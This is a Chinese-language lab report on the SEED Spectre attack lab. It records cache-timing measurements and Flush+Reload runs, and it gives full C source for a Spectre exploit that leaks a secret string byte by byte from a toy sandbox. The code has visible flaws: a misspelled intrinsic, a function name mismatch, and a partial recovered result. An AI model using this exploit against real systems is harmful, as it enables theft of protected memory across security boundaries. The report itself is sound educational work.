

任务 1：从缓存读取数据与从内存读取数据的比较

编译并执行 CacheTime.c 代码文件，因为访问的内容不在同一缓存块，所以每次访问执行都是直接从主存获取数据，需要找到访问主存的最小值，经过多次运行，确定从主存访问的阈值，粘贴 3 次包含了最大最小的访存时间的执行

最大的：

```
[03/31/25] seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 2124 CPU cycles
Access time for array[1*4096]: 397 CPU cycles
Access time for array[2*4096]: 554 CPU cycles
Access time for array[3*4096]: 377 CPU cycles
Access time for array[4*4096]: 560 CPU cycles
Access time for array[5*4096]: 494 CPU cycles
Access time for array[6*4096]: 595 CPU cycles
Access time for array[7*4096]: 373 CPU cycles
Access time for array[8*4096]: 541 CPU cycles
Access time for array[9*4096]: 525 CPU cycles
```

最小的（通过此确定阈值）

```
[03/31/25] seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 79 CPU cycles
Access time for array[1*4096]: 246 CPU cycles
Access time for array[2*4096]: 402 CPU cycles
Access time for array[3*4096]: 238 CPU cycles
Access time for array[4*4096]: 351 CPU cycles
Access time for array[5*4096]: 369 CPU cycles
Access time for array[6*4096]: 317 CPU cycles
Access time for array[7*4096]: 173 CPU cycles
Access time for array[8*4096]: 349 CPU cycles
Access time for array[9*4096]: 327 CPU cycles
```

```
[03/31/25] seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 145 CPU cycles
Access time for array[1*4096]: 224 CPU cycles
Access time for array[2*4096]: 227 CPU cycles
Access time for array[3*4096]: 68 CPU cycles
Access time for array[4*4096]: 224 CPU cycles
Access time for array[5*4096]: 258 CPU cycles
Access time for array[6*4096]: 228 CPU cycles
Access time for array[7*4096]: 58 CPU cycles
Access time for array[8*4096]: 226 CPU cycles
Access time for array[9*4096]: 252 CPU cycles
```

由上图可知，决定设置阈值为 60

任务 2：使用缓存作为侧信道

修改代码，改变阈值：

```
1 #include <emmintrin.h>
2 #include <x86intrin.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5 #include <stdint.h>
6
7 uint8_t array[256*4096];
8 int temp;
9 unsigned char secret = 94;
10 /* cache hit time threshold assumed*/
11 #define CACHE_HIT_THRESHOLD (60)
12 #define DELTA 1024
13
```

一共执行 20 次：

```
[03/31/25] seed@VM:~/.../Labsetup$ gcc -o FlushReload FlushReload.c
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25] seed@VM:~/.../Labsetup$ ./FlushReload
```


解释：这行代码用于清除 size 变量的缓存。如果注释掉，size 的值将保留在缓存中，CPU 可以快速访问其值，从而减少分支预测的错误率。因此，CPU 不会进行推测性执行，第②行不会被执行（temp = array[x * 4096 + DELTA];）。

[illegible]

按照要求将第④行替换为 `victim(i + 20)`，执行观察到无输出，没有获得秘密值

解释：这改变了传递给 victim() 函数的参数，使其始终大于 size 的值。通过这种方式，CPU 的分支预测将被训练为总是预测分支为假，从而减少推测性执行的可能性。因此，第②行不会被执行

任务 4: Spectre 攻击

```
index of secret (out of bound): -8208
array[0*4096 + 1024] is in cache.
The Secret = 0().
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x564159e6c008
buffer: 0x564159e6e018
index of secret (out of bound): -8208
array[0*4096 + 1024] is in cache.
The Secret = 0().
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x56554449f008
buffer: 0x5655444a1018
index of secret (out of bound): -8208
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x55d45d13a008
buffer: 0x55d45d13c018
index of secret (out of bound): -8208
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$
```

观察执行结果发现成功窃取秘密值，秘密值为 83

任务 5：提高攻击准确性

1

错误原因:

每次 scores 数组未正确清除缓存, 导致可能误认为 scores 数组中的元素为秘密值

解决办法:

明确缓存清除：使用 `_mm_cflflush` 显式清除 `scores` 数组的缓存，确保测量准确性。

关键部分代码修改

```
for (int trial = 0; trial < 1000; trial++) {
    flushSideChannel(); // 每次试验前清除缓存
    memset(scores, 0, sizeof(scores)); // 重置分数数组

    spectreAttack(index_beyond); // 执行攻击

    reloadSideChannelImproved(); // 重新加载侧信道

    // 找出最高分
    int max = 0;
    for (int i = 0; i < 256; i++) {
        if (scores[max] < scores[i])
            max = i;
    }
    printf("Trial %d: Predicted value = %d('%c'), Score = %d\n",
        trial, max, max, scores[max]);
}
```

结果：

```
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
  
Reading secret value at index -8208  
The secret value is 83(S)  
The number of hits is 380
```


2

删除行 printf("*****\n")结果:

```
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 1
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
```

可以观察到执行结果为 0，命中次数均为 0，未命中，未找到秘密值

3

修改程序休眠时间分别为 1s 和 100s:

下图为 100s 时的图片:

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 911
[03/31/25]seed@VM:~/.../Labsetup$
```

对比 1s 和 100s 以及源码中 10s 的对比，发现随着时间的增加，对秘密值的命中数更多了，较长的休眠时间可以提高缓存侧信道的观察效果，提高攻击的稳定性。

任务 6：窃取整个秘密字符串

结果

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8192
The secret value is 0()
The number of hits is 6
Recovered secret: Som
```

要逐字节窃取，定义数组保存最终结果字符串

```
char result[secret_len + 1];
result[secret_len] = '\0'; // 表示结尾字符串
```

对每一个字节遍历执行单个字节窃取的操作，但是每次窃取之后要重新更新 scores 数据进行新一轮的计数

```
for (j = 0; j < secret_len; j++) { //根据长度逐个字节窃取
    size_t index_beyond = (size_t)(secret + j - (char*)buffer);
    for (i = 0; i < 1000; i++) {
        printf("*****\n"); // This seemly "useless" line is necessary for the attack to
succeed
        spectreAttack(index_beyond);
        usleep(100);
        reloadSideChannelImproved();
    }

    int max = 0;
    for (i = 0; i < 256; i++){
```

```

        if(scores[max] < scores[i]) max = i;
    }
    result[j] = max;
    printf("Reading secret value at index %ld\n", index_beyond);
    printf("The secret value is %d(%c)\n", max, max);
    printf("The number of hits is %d\n", scores[max]);

    // Reset scores for the next byte
    for(i=0;i<256;i++) scores[i]=0;//每次结束更新 score 数据
}

```

完整代码：

```

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>

```

```

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256*4096];

```

```

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

```

```

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
    if (x <= bound_upper && x >= bound_lower) {
        return buffer[x];
    } else {
        return 0;
    }
}

```

```

void flushSideChannel()
{
    int i;
    // Write to array to bring it to RAM to prevent Copy-on-write

```



```

    for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
    //flush the values of the array from cache
    for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

static int scores[256];
void reloadSideChannellImproved()
{
    int i;
    volatile uint8_t *addr;
    register uint64_t time1, time2;
    int junk = 0;
    for (i = 0; i < 256; i++) {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
            scores[i]++; /* if cache hit, add 1 for this value */
    }
}

void spectreAttack(size_t index_beyond)
{
    int i;
    uint8_t s;
    volatile int z;

    for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }

    // Train the CPU to take the true branch inside victim().
    for (i = 0; i < 10; i++) {
        restrictedAccess(i);
    }

    // Flush bound_upper, bound_lower, and array[] from the cache.
    _mm_clflush(&bound_upper);
    _mm_clflush(&bound_lower);
    for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
    for (z = 0; z < 100; z++) { }
    //
    // Ask victim() to return the secret in out-of-order execution.
    s = restrictedAccess(index_beyond);
    array[s*4096 + DELTA] += 88;
}

```

```

}

int main() {
    int i, j;
    uint8_t s;
    size_t secret_len = strlen(secret);
    char result[secret_len + 1];
    result[secret_len] = '\0'; // Null-terminate the result string

    flushSideChannel();
    for(i=0; i<256; i++) scores[i]=0;

    for (j = 0; j < secret_len; j++) {
        size_t index_beyond = (size_t)(secret + j - (char*)buffer);
        for (i = 0; i < 1000; i++) {
            printf("*****\n"); // This seemly "useless" line is necessary for the attack to
succeed
            spectreAttack(index_beyond);
            usleep(100);
            reloadSideChannelImproved();
        }

        int max = 0;
        for (i = 0; i < 256; i++){
            if(scores[max] < scores[i]) max = i;
        }
        result[j] = max;
        printf("Reading secret value at index %ld\n", index_beyond);
        printf("The secret value is %d(%c)\n", max, max);
        printf("The number of hits is %d\n", scores[max]);

        // Reset scores for the next byte
        for(i=0; i<256; i++) scores[i]=0;
    }

    printf("Recovered secret: %s\n", result);
    return (0);
}

```